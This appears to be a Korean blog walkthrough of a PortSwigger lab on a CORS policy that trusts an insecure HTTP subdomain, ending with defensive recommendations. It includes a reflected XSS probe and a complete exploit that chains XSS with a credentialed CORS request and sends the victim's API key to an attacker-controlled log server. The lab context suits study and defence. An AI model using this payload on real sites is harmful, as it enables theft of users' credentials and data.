3-4. 취약한 CORS 유형 실습 (4) - ACAO http subdomain 허용
이번에 도전해 볼 LAB은 실무자(PRACTITIONER) 레벨이다!
실습 요구사항
Lab: CORS vulnerability with trusted insecure protocols
https://portswigger.net/web-security/cors/lab-breaking-https-attack
환경 정보
🌐 요청
Cross-origin인 XHR 요청 서버
🌍 응답
프로토콜을 고려하지 않고 모든 subdomain의 CORS 요청을 허용하는 웹 서버
사전정보
없음
추론과정 및 결과
과정 1
이전 실습들과 같이 로그인 이후 /accountDetails에
GET 요청 시 리턴되는 응답 값에 apikey가 있다.
이번 취약 유형은 '프로토콜을 고려하지 않은 모든 subdomain의 ACAO 허용'이라고 했다.
과정 2
Request & Response (1)
/accountDetails의 Origin 헤더에 임의의 도메인을 넣으니 ACAO 헤더가 응답이 오지 않는다.
이런 경우 자바스크립트를 통해 데이터 요청 시 브라우저가 응답을 받아오지 않는다.
Request & Response (2)
공격 대상 사이트의 Origin 그대로를 넣으면 ACAO 헤더에 그대로 답이 온다.
그럼 subdomain으로 바꿔 보거나, 프로토콜을 변경해보자.
subdomain도 취약한 검증(포함 여부만 확인)을 하고 있지 않은지,
subdomain.example.com이 아닌 subdomain.example.com.malicious.com과 같이 확인해보면 좋다.
Request & Response (3)
💥 https
💥 http
subdomain을 허용해놓은 건 문제가 없지만
통신 상에서 평문으로 데이터가 전송되어 매우 취약한 http 프로토콜도 허용되고 있다.
http 프로토콜을 사용하는 subdomain이 있는지 사이트 내에서 찾아보자.
과정 3
Home으로 접근하면 물건을 파는 것 같다.
마음에 드는 상품의 View details 버튼에 접근해본다.
날고 있는 강아지가 맘에 들었다.
Check stock이라는 재고 확인 페이지로 접근하면
아래처럼 https가 아닌 http 프로토콜을 사용한 subdomain임을 알 수 있다.
productId=10이고 storeId=1인 파라미터도 사용하고 있다.
과정 4
저 어딘가 취약해보이는 productId 파라미터에 스크립트를 삽입한 요청을 하면,
Invalid product ID: 2<script>alert('test');</script> 라며 400 에러를 내뿜는데,
이렇게 실제로 alert을 볼 수 있어 XSS 공격에 취약한 파라미터라고 볼 수 있다.
그럼 이 stock 페이지(subdomain을 가진)의 productId 파라미터에
스크립트를 넣어서 exploit을 하면 되겠다.
Exploit
victim의 접속 경로 : https://0ab00023039a502280841c7c00ab00ca.web-security-academy.net/
attacker의 서버 : https://exploit-0a9600bf039250c980621b7401a800e3.exploit-server.net
<script>
document.location="http://stock.0ab00023039a502280841c7c00ab00ca.web-security-academy.net/?productId=2
<script>var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://0ab00023039a502280841c7c00ab00ca.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();
function reqListener()
{location='https://exploit-0a9600bf039250c980621b7401a800e3.exploit-server.net/log?key='%2bthis.responseText; };%3c/script>
&storeId=2"
</script>Exploit 코드에 위 코드를 삽입한다.
victim은 XSS 공격에 취약한 http subdomain 페이지인 http://stock.ID.web-security-academy.net 에 스크립트를 주입해서
로그인 한 victim(admin)의 크리덴셜로 /accountDetails 내 apikey를 attacker의 사이트로 넘기게 한다.
실행결과
Access log 기능(/log)으로 가보면, attacker IP가 아닌 다른 IP로 /log?key={}에 대한 GET 요청이 있다.
URL decode하여 username이 administrator인 victim의 apikey를 제출한다.
Solved 딱지를 받았다.
오늘은 축하도 해주네..?
🌞 Solved 후기 + 추가 내용
이번 LAB은 insecure protocol(HTTP)를 실습하기엔
HTTP subdomain을 ACAO에 허용함으로써 어떤 취약점이 발생할 수 있는지 확 느끼긴 어려웠다.
물론 취약한 HTTP 서비스에서의 reflected XSS 공격을 통해 다른 서비스에 CORS 요청까지 가능한 점은 이해했다.
port swigger lab에서는 이런 경우 MITM 공격이 발생할 수 있어 더욱 위험한 것이고, 여기서 해보긴 어렵다고 한다.
그래서 좀 더 찾아보았고 아래와 같은 내용을 알 수 있었다.
chrome-extension://efaidnbmnnnibpcajpcglclefindmkaj/https://www.bedefended.com/papers/cors-security-guide
💫 공격자가 victim의 트래픽을 가로챌 수 있는 위치에 있는 경우 취약하다.
💫 핵심 steps는 4번이다. >> 공격자는 victim의 브라우저가 보낸 plain HTTP 요청을 가로챌 수 있다. (HTTP이므로 통신이 평문으로 전달.)
💫 웹 애플리케이션이 HTTPS를 사용하고 있고, 세션 쿠키가 "Secure" 속성을 가지고 있어도 유효한 공격이다. CORS 요청 허용 시 HTTP 프로토콜의 서비스도 허용했을 때 발생 가능하다고 한다.
💫 결론적으로 위 경우를 방지하기 위해 아래 내용이 모두 충족되어야 할 것 같다.
⭐ 중요 쿠키의 HttpOnly, Secure 속성 지정
⭐ 올바른 CORS 요청 허용 정책을 적용(https만 지정하여 사용)
⭐ 네트워크 단 MITM을 방지하기 위해 http 요청의 강제 https 리다이렉트(HSTS 헤더 사용)
-> https로 리다이렉트 설정한 경우에도 MITM 공격을 성공해본 적이 있기에 HSTS 헤더에 preload까지 서비스 이슈 없는지 충분히 테스트 후 적용하는 것이 완벽한 스토리긴 할 것 같지만.. 생각보다 현업에서는 http <-> https간 호출이 많아 애로사항이 있는 것 같다.
정리하자면 이 취약 케이스에서는
1) victim이 http 서비스로 redirect 하게 한 뒤 평문 http 통신을 가로채 쿠키 등의 정보를 탈취할 수 있고,
2) CORS 요청을 하고자 하는 https 서비스로 요청을 발생시키고 response를 받아온다.
어쨌든 쿠키 옵션 설정이나 xss만 막는다고 만사가 나아지는 건 아니었다.
취약점에도 다양한 유기관계가 존재해 이런 공격이 가능하다는 것을 알았다.
다음엔 이거 잡아서 한번 보고서 내보고 싶다.